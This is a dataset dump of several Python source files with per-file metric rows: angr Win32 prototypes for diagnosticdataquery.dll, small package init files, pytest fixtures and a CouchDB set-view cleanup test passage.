| 0.798072
| 0.764898
| 0.730546
| 0.70097
| 0.674166
| 0.637573
| 0
| 0.022592
| 0.358571
| 65,351
| 1,822
| 135
| 35.867728
| 0.78644
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| 0.081486
| 0.009364
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| 0.025265
| false
| 0.000815
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| 0.028525
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| 0
| 0
|
0
| 4
|
9adb1629f68a41dce1373b8dcbc5a573eac5f527
| 31
|
py
|
Python
|
src/features/build_features.py
|
suppathak/anomaly-detection-HTM
|
baca3c6bcf68b27ebefb1735d9f73c1cb15a1e0f
|
[
"FTL"
] | 7
|
2020-06-30T15:44:44.000Z
|
2022-03-02T12:23:40.000Z
|
src/features/build_features.py
|
suppathak/anomaly-detection-HTM
|
baca3c6bcf68b27ebefb1735d9f73c1cb15a1e0f
|
[
"FTL"
] | 39
|
2021-09-09T21:42:19.000Z
|
2022-03-21T15:30:08.000Z
|
src/features/build_features.py
|
suppathak/anomaly-detection-HTM
|
baca3c6bcf68b27ebefb1735d9f73c1cb15a1e0f
|
[
"FTL"
] | 17
|
2020-06-19T20:55:22.000Z
|
2021-08-30T16:42:22.000Z
|
"""Feature extraction code."""
| 15.5
| 30
| 0.677419
| 3
| 31
| 7
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| 31
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| 31
| 0.75
| 0.774194
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| null | true
| 0
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| null | null | null | 1
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| 0
|
0
| 4
|
9ae6f0353bc0a9bd3a76ad13b89535c4d36c802a
| 18,915
|
py
|
Python
|
angr/procedures/definitions/win32_diagnosticdataquery.py
|
r4b3rt/angr
|
c133cfd4f83ffea2a1d9e064241e9459eaabc55f
|
[
"BSD-2-Clause"
] | null | null | null |
angr/procedures/definitions/win32_diagnosticdataquery.py
|
r4b3rt/angr
|
c133cfd4f83ffea2a1d9e064241e9459eaabc55f
|
[
"BSD-2-Clause"
] | null | null | null |
angr/procedures/definitions/win32_diagnosticdataquery.py
|
r4b3rt/angr
|
c133cfd4f83ffea2a1d9e064241e9459eaabc55f
|
[
"BSD-2-Clause"
] | null | null | null |
# pylint:disable=line-too-long
import logging
from ...sim_type import SimTypeFunction, SimTypeShort, SimTypeInt, SimTypeLong, SimTypeLongLong, SimTypeDouble, SimTypeFloat, SimTypePointer, SimTypeChar, SimStruct, SimTypeFixedSizeArray, SimTypeBottom, SimUnion, SimTypeBool
from ...calling_conventions import SimCCStdcall, SimCCMicrosoftAMD64
from .. import SIM_PROCEDURES as P
from . import SimLibrary
_l = logging.getLogger(name=__name__)
lib = SimLibrary()
lib.set_default_cc('X86', SimCCStdcall)
lib.set_default_cc('AMD64', SimCCMicrosoftAMD64)
lib.set_library_names("diagnosticdataquery.dll")
prototypes = \
{
#
'DdqCreateSession': SimTypeFunction([SimTypeInt(signed=False, label="DdqAccessLevel"), SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["accessLevel", "hSession"]),
#
'DdqCloseSession': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hSession"]),
#
'DdqGetSessionAccessLevel': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=False, label="DdqAccessLevel"), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hSession", "accessLevel"]),
#
'DdqGetDiagnosticDataAccessLevelAllowed': SimTypeFunction([SimTypePointer(SimTypeInt(signed=False, label="DdqAccessLevel"), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["accessLevel"]),
#
'DdqGetDiagnosticRecordStats': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimStruct({"producerNames": SimTypePointer(SimTypePointer(SimTypeChar(label="Char"), offset=0), offset=0), "producerNameCount": SimTypeInt(signed=False, label="UInt32"), "textToMatch": SimTypePointer(SimTypeChar(label="Char"), offset=0), "categoryIds": SimTypePointer(SimTypeInt(signed=True, label="Int32"), offset=0), "categoryIdCount": SimTypeInt(signed=False, label="UInt32"), "privacyTags": SimTypePointer(SimTypeInt(signed=True, label="Int32"), offset=0), "privacyTagCount": SimTypeInt(signed=False, label="UInt32"), "coreDataOnly": SimTypeInt(signed=True, label="Int32")}, name="DIAGNOSTIC_DATA_SEARCH_CRITERIA", pack=False, align=None), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypeLongLong(signed=True, label="Int64"), offset=0), SimTypePointer(SimTypeLongLong(signed=True, label="Int64"), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hSession", "searchCriteria", "recordCount", "minRowId", "maxRowId"]),
#
'DdqGetDiagnosticRecordPayload': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeLongLong(signed=True, label="Int64"), SimTypePointer(SimTypePointer(SimTypeChar(label="Char"), offset=0), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hSession", "rowId", "payload"]),
#
'DdqGetDiagnosticRecordLocaleTags': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hSession", "locale", "hTagDescription"]),
#
'DdqFreeDiagnosticRecordLocaleTags': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hTagDescription"]),
#
'DdqGetDiagnosticRecordLocaleTagAtIndex': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimStruct({"privacyTag": SimTypeInt(signed=True, label="Int32"), "name": SimTypePointer(SimTypeChar(label="Char"), offset=0), "description": SimTypePointer(SimTypeChar(label="Char"), offset=0)}, name="DIAGNOSTIC_DATA_EVENT_TAG_DESCRIPTION", pack=False, align=None), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hTagDescription", "index", "tagDescription"]),
#
'DdqGetDiagnosticRecordLocaleTagCount': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hTagDescription", "tagDescriptionCount"]),
#
'DdqGetDiagnosticRecordProducers': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hSession", "hProducerDescription"]),
#
'DdqFreeDiagnosticRecordProducers': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hProducerDescription"]),
#
'DdqGetDiagnosticRecordProducerAtIndex': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimStruct({"name": SimTypePointer(SimTypeChar(label="Char"), offset=0)}, name="DIAGNOSTIC_DATA_EVENT_PRODUCER_DESCRIPTION", pack=False, align=None), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hProducerDescription", "index", "producerDescription"]),
#
'DdqGetDiagnosticRecordProducerCount': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hProducerDescription", "producerDescriptionCount"]),
#
'DdqGetDiagnosticRecordProducerCategories': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hSession", "producerName", "hCategoryDescription"]),
#
'DdqFreeDiagnosticRecordProducerCategories': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hCategoryDescription"]),
#
'DdqGetDiagnosticRecordCategoryAtIndex': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimStruct({"id": SimTypeInt(signed=True, label="Int32"), "name": SimTypePointer(SimTypeChar(label="Char"), offset=0)}, name="DIAGNOSTIC_DATA_EVENT_CATEGORY_DESCRIPTION", pack=False, align=None), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hCategoryDescription", "index", "categoryDescription"]),
#
'DdqGetDiagnosticRecordCategoryCount': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hCategoryDescription", "categoryDescriptionCount"]),
#
'DdqIsDiagnosticRecordSampledIn': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeBottom(label="Guid"), offset=0), SimTypePointer(SimTypeBottom(label="Guid"), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypeLongLong(signed=False, label="UInt64"), offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int32"), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hSession", "providerGroup", "providerId", "providerName", "eventId", "eventName", "eventVersion", "eventKeywords", "isSampledIn"]),
#
'DdqGetDiagnosticRecordPage': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimStruct({"producerNames": SimTypePointer(SimTypePointer(SimTypeChar(label="Char"), offset=0), offset=0), "producerNameCount": SimTypeInt(signed=False, label="UInt32"), "textToMatch": SimTypePointer(SimTypeChar(label="Char"), offset=0), "categoryIds": SimTypePointer(SimTypeInt(signed=True, label="Int32"), offset=0), "categoryIdCount": SimTypeInt(signed=False, label="UInt32"), "privacyTags": SimTypePointer(SimTypeInt(signed=True, label="Int32"), offset=0), "privacyTagCount": SimTypeInt(signed=False, label="UInt32"), "coreDataOnly": SimTypeInt(signed=True, label="Int32")}, name="DIAGNOSTIC_DATA_SEARCH_CRITERIA", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypeLongLong(signed=True, label="Int64"), SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hSession", "searchCriteria", "offset", "pageRecordCount", "baseRowId", "hRecord"]),
#
'DdqFreeDiagnosticRecordPage': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hRecord"]),
#
'DdqGetDiagnosticRecordAtIndex': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimStruct({"rowId": SimTypeLongLong(signed=True, label="Int64"), "timestamp": SimTypeLongLong(signed=False, label="UInt64"), "eventKeywords": SimTypeLongLong(signed=False, label="UInt64"), "fullEventName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "providerGroupGuid": SimTypePointer(SimTypeChar(label="Char"), offset=0), "producerName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "privacyTags": SimTypePointer(SimTypeInt(signed=True, label="Int32"), offset=0), "privacyTagCount": SimTypeInt(signed=False, label="UInt32"), "categoryIds": SimTypePointer(SimTypeInt(signed=True, label="Int32"), offset=0), "categoryIdCount": SimTypeInt(signed=False, label="UInt32"), "isCoreData": SimTypeInt(signed=True, label="Int32"), "extra1": SimTypePointer(SimTypeChar(label="Char"), offset=0), "extra2": SimTypePointer(SimTypeChar(label="Char"), offset=0), "extra3": SimTypePointer(SimTypeChar(label="Char"), offset=0)}, name="DIAGNOSTIC_DATA_RECORD", pack=False, align=None), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hRecord", "index", "record"]),
#
'DdqGetDiagnosticRecordCount': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hRecord", "recordCount"]),
#
'DdqGetDiagnosticReportStoreReportCount': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hSession", "reportStoreType", "reportCount"]),
#
'DdqCancelDiagnosticRecordOperation': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hSession"]),
#
'DdqGetDiagnosticReport': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hSession", "reportStoreType", "hReport"]),
#
'DdqFreeDiagnosticReport': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hReport"]),
#
'DdqGetDiagnosticReportAtIndex': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimStruct({"signature": SimStruct({"eventName": SimTypeFixedSizeArray(SimTypeChar(label="Char"), 65), "parameters": SimTypeFixedSizeArray(SimStruct({"name": SimTypeFixedSizeArray(SimTypeChar(label="Char"), 129), "value": SimTypeFixedSizeArray(SimTypeChar(label="Char"), 260)}, name="DIAGNOSTIC_REPORT_PARAMETER", pack=False, align=None), 10)}, name="DIAGNOSTIC_REPORT_SIGNATURE", pack=False, align=None), "bucketId": SimTypeBottom(label="Guid"), "reportId": SimTypeBottom(label="Guid"), "creationTime": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "sizeInBytes": SimTypeLongLong(signed=False, label="UInt64"), "cabId": SimTypePointer(SimTypeChar(label="Char"), offset=0), "reportStatus": SimTypeInt(signed=False, label="UInt32"), "reportIntegratorId": SimTypeBottom(label="Guid"), "fileNames": SimTypePointer(SimTypePointer(SimTypeChar(label="Char"), offset=0), offset=0), "fileCount": SimTypeInt(signed=False, label="UInt32"), "friendlyEventName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "applicationName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "applicationPath": SimTypePointer(SimTypeChar(label="Char"), offset=0), "description": SimTypePointer(SimTypeChar(label="Char"), offset=0), "bucketIdString": SimTypePointer(SimTypeChar(label="Char"), offset=0), "legacyBucketId": SimTypeLongLong(signed=False, label="UInt64"), "reportKey": SimTypePointer(SimTypeChar(label="Char"), offset=0)}, name="DIAGNOSTIC_REPORT_DATA", pack=False, align=None), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hReport", "index", "report"]),
#
'DdqGetDiagnosticReportCount': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hReport", "reportCount"]),
#
'DdqExtractDiagnosticReport': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hSession", "reportStoreType", "reportKey", "destinationPath"]),
#
'DdqGetDiagnosticRecordTagDistribution': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypePointer(SimTypeChar(label="Char"), offset=0), label="LPArray", offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypePointer(SimStruct({"privacyTag": SimTypeInt(signed=True, label="Int32"), "eventCount": SimTypeInt(signed=False, label="UInt32")}, name="DIAGNOSTIC_DATA_EVENT_TAG_STATS", pack=False, align=None), offset=0), label="LPArray", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hSession", "producerNames", "producerNameCount", "tagStats", "statCount"]),
#
'DdqGetDiagnosticRecordBinaryDistribution': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypePointer(SimTypeChar(label="Char"), offset=0), label="LPArray", offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypePointer(SimStruct({"moduleName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "friendlyModuleName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "eventCount": SimTypeInt(signed=False, label="UInt32"), "uploadSizeBytes": SimTypeLongLong(signed=False, label="UInt64")}, name="DIAGNOSTIC_DATA_EVENT_BINARY_STATS", pack=False, align=None), offset=0), label="LPArray", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hSession", "producerNames", "producerNameCount", "topNBinaries", "binaryStats", "statCount"]),
#
'DdqGetDiagnosticRecordSummary': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypePointer(SimTypeChar(label="Char"), offset=0), label="LPArray", offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimStruct({"optInLevel": SimTypeInt(signed=False, label="UInt32"), "transcriptSizeBytes": SimTypeLongLong(signed=False, label="UInt64"), "oldestEventTimestamp": SimTypeLongLong(signed=False, label="UInt64"), "totalEventCountLast24Hours": SimTypeInt(signed=False, label="UInt32"), "averageDailyEvents": SimTypeFloat(size=32)}, name="DIAGNOSTIC_DATA_GENERAL_STATS", pack=False, align=None), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hSession", "producerNames", "producerNameCount", "generalStats"]),
#
'DdqSetTranscriptConfiguration': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimStruct({"hoursOfHistoryToKeep": SimTypeInt(signed=False, label="UInt32"), "maxStoreMegabytes": SimTypeInt(signed=False, label="UInt32"), "requestedMaxStoreMegabytes": SimTypeInt(signed=False, label="UInt32")}, name="DIAGNOSTIC_DATA_EVENT_TRANSCRIPT_CONFIGURATION", pack=False, align=None), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hSession", "desiredConfig"]),
#
'DdqGetTranscriptConfiguration': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimStruct({"hoursOfHistoryToKeep": SimTypeInt(signed=False, label="UInt32"), "maxStoreMegabytes": SimTypeInt(signed=False, label="UInt32"), "requestedMaxStoreMegabytes": SimTypeInt(signed=False, label="UInt32")}, name="DIAGNOSTIC_DATA_EVENT_TRANSCRIPT_CONFIGURATION", pack=False, align=None), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hSession", "currentConfig"]),
}
lib.set_prototypes(prototypes)
| 205.597826
| 1,890
| 0.74692
| 1,883
| 18,915
| 7.452469
| 0.114711
| 0.156203
| 0.09834
| 0.154992
| 0.776741
| 0.737333
| 0.698924
| 0.692154
| 0.675337
| 0.653103
| 0
| 0.021014
| 0.079196
| 18,915
| 91
| 1,891
| 207.857143
| 0.784693
| 0.00148
| 0
| 0
| 0
| 0
| 0.255647
| 0.088387
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.102041
| 0
| 0.102041
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
9ae8f93a5a63e7e42d3f6c6307883642f73f2691
| 96
|
py
|
Python
|
my_tt/my_tt/__init__.py
|
tanproject/tantan
|
9d6653f07be0f6d1d8726cce15789e4fae729725
|
[
"Apache-2.0"
] | null | null | null |
my_tt/my_tt/__init__.py
|
tanproject/tantan
|
9d6653f07be0f6d1d8726cce15789e4fae729725
|
[
"Apache-2.0"
] | 1
|
2020-10-05T07:58:24.000Z
|
2020-10-05T07:58:24.000Z
|
my_tt/my_tt/__init__.py
|
tanproject/tantan
|
9d6653f07be0f6d1d8726cce15789e4fae729725
|
[
"Apache-2.0"
] | null | null | null |
from libs.orm import path_orm
'''抢在Django加载settings之前，为Django的orm执行猴子补丁，增加缓存功能'''
path_orm()
| 24
| 52
| 0.791667
| 11
| 96
| 6.727273
| 0.727273
| 0.189189
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.09375
| 96
| 4
| 53
| 24
| 0.850575
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
b100200861f218b07e680948df07b46bd96d5392
| 222
|
py
|
Python
|
infoblox/_internal/__init__.py
|
dylanfmarquis/python-infoblox
|
046b2b6b5a3974f86a22de934560254618f652c0
|
[
"MIT"
] | 5
|
2016-08-23T20:34:21.000Z
|
2022-03-22T01:52:08.000Z
|
infoblox/_internal/__init__.py
|
dylanfmarquis/python-infoblox
|
046b2b6b5a3974f86a22de934560254618f652c0
|
[
"MIT"
] | 9
|
2016-08-24T20:29:47.000Z
|
2019-03-01T09:13:08.000Z
|
infoblox/_internal/__init__.py
|
dylanfmarquis/python-infoblox
|
046b2b6b5a3974f86a22de934560254618f652c0
|
[
"MIT"
] | null | null | null |
from .a import _a
from .cname import _cname
from .grid import _grid
from .host import _host
from .lease import _lease
from .mx import _mx
from .srv import _srv
from .subnet import _subnet
from .rpz_cname import _rpz_cname
| 22.2
| 33
| 0.797297
| 38
| 222
| 4.368421
| 0.289474
| 0.13253
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.162162
| 222
| 9
| 34
| 24.666667
| 0.892473
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
b100aecb2327f53774aafd623b952c2887e7229a
| 455
|
py
|
Python
|
tests/conftest.py
|
Anaphory/pyconcepticon
|
70120b13ba7ba32de01b4fb8a2299b22de4c8d78
|
[
"Apache-2.0"
] | null | null | null |
tests/conftest.py
|
Anaphory/pyconcepticon
|
70120b13ba7ba32de01b4fb8a2299b22de4c8d78
|
[
"Apache-2.0"
] | null | null | null |
tests/conftest.py
|
Anaphory/pyconcepticon
|
70120b13ba7ba32de01b4fb8a2299b22de4c8d78
|
[
"Apache-2.0"
] | null | null | null |
import shutil
import pytest
from pathlib import Path
from pyconcepticon.api import Concepticon
@pytest.fixture
def fixturedir():
return Path(__file__).parent / 'fixtures'
@pytest.fixture(scope='session')
def api():
return Concepticon(Path(__file__).parent / 'fixtures')
@pytest.fixture
def tmprepos(tmpdir):
shutil.copytree(str(Path(__file__).parent / 'fixtures'), str(tmpdir.join('repos')))
return Path(str(tmpdir.join('repos')))
| 19.782609
| 87
| 0.731868
| 56
| 455
| 5.732143
| 0.428571
| 0.121495
| 0.130841
| 0.205607
| 0.218069
| 0.218069
| 0
| 0
| 0
| 0
| 0
| 0
| 0.12967
| 455
| 22
| 88
| 20.681818
| 0.810606
| 0
| 0
| 0.142857
| 0
| 0
| 0.09011
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.214286
| false
| 0
| 0.285714
| 0.142857
| 0.714286
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
b1185fc96f72d2a34cdeeb62ebe921584cd8bc4e
| 16,833
|
py
|
Python
|
test/python/set_view/cleanup.py
|
comforx/couchdb
|
88cdd2241ed6b17b39f5e9387b503a3f300527b5
|
[
"Apache-2.0"
] | 1
|
2019-01-19T15:53:50.000Z
|
2019-01-19T15:53:50.000Z
|
test/python/set_view/cleanup.py
|
comforx/couchdb
|
88cdd2241ed6b17b39f5e9387b503a3f300527b5
|
[
"Apache-2.0"
] | null | null | null |
test/python/set_view/cleanup.py
|
comforx/couchdb
|
88cdd2241ed6b17b39f5e9387b503a3f300527b5
|
[
"Apache-2.0"
] | null | null | null |
#!/usr/bin/python
try: import simplejson as json
except ImportError: import json
import couchdb
import httplib
import urllib
import time
import common
import unittest
HOST = "localhost:5984"
SET_NAME = "test_suite_set_view"
NUM_PARTS = 4
NUM_DOCS = 400000
DDOC = {
"_id": "_design/test",
"language": "javascript",
"views": {
"mapview1": {
"map": "function(doc) { emit(doc.integer, doc.string); }"
}
}
}
class TestCleanup(unittest.TestCase):
def setUp(self):
self._params = {
"host": HOST,
"ddoc": DDOC,
"nparts": NUM_PARTS,
"ndocs": NUM_DOCS,
"setname": SET_NAME,
"server": couchdb.Server(url = "http://" + HOST)
}
# print "Creating databases"
common.create_dbs(self._params)
common.populate(self._params)
common.define_set_view(self._params, range(NUM_PARTS), [])
# print "Databases created"
def tearDown(self):
# print "Deleting test data"
common.create_dbs(self._params, True)
def test_cleanup(self):
self.do_test_simple_cleanup()
self.do_test_set_cleanup_partitions_when_updater_is_running()
self.do_test_change_partition_states_while_cleanup_running()
def do_test_simple_cleanup(self):
# print "Querying view in steady state"
(resp, view_result) = common.query(self._params, "mapview1")
etag = resp.getheader("ETag")
self.assertEqual(view_result["total_rows"], self._params["ndocs"],
"Query returned %d total_rows" % self._params["ndocs"])
self.assertEqual(len(view_result["rows"]), self._params["ndocs"],
"Query returned %d rows" % self._params["ndocs"])
common.test_keys_sorted(view_result)
info = common.get_set_view_info(self._params)
self.assertEqual(info["active_partitions"], [0, 1, 2, 3], "right active partitions list")
self.assertEqual(info["passive_partitions"], [], "right passive partitions list")
self.assertEqual(info["cleanup_partitions"], [], "right cleanup partitions list")
for i in [0, 1, 2, 3]:
self.assertEqual(info["update_seqs"][str(i)], (self._params["ndocs"] / 4),
"right update seq for partition %d" % (i + 1))
# print "Triggering partition 4 cleanup"
common.set_partition_states(self._params, cleanup = [3])
info = common.get_set_view_info(self._params)
self.assertEqual(info["active_partitions"], [0, 1, 2], "right active partitions list")
self.assertEqual(info["passive_partitions"], [], "right passive partitions list")
self.assertEqual(info["cleanup_partitions"], [3], "right cleanup partitions list")
for i in [0, 1, 2]:
self.assertEqual(info["update_seqs"][str(i)], (self._params["ndocs"] / 4),
"right update seq for partition %d" % (i + 1))
self.assertFalse("3" in info["update_seqs"], "partition 3 not in info.update_seqs")
self.assertEqual(info["cleanup_running"], True, "cleanup process is running")
# print "Querying view again"
(resp2, view_result2) = common.query(self._params, "mapview1")
etag2 = resp2.getheader("ETag")
expected = self._params["ndocs"] - (self._params["ndocs"] / 4)
self.assertEqual(view_result2["total_rows"], self._params["ndocs"],
"Query returned %d total_rows" % self._params["ndocs"])
self.assertEqual(len(view_result2["rows"]), expected, "Query returned %d rows" % expected)
self.assertNotEqual(etag2, etag, "Different Etag after cleanup triggered")
common.test_keys_sorted(view_result2)
all_keys = {}
for r in view_result2["rows"]:
all_keys[r["key"]] = True
for key in xrange(4, self._params["ndocs"], self._params["nparts"]):
self.assertFalse(key in all_keys,
"Key %d not in result after partition 4 cleanup triggered" % key)
# print "Triggering view compaction and querying view again"
common.compact_set_view(self._params)
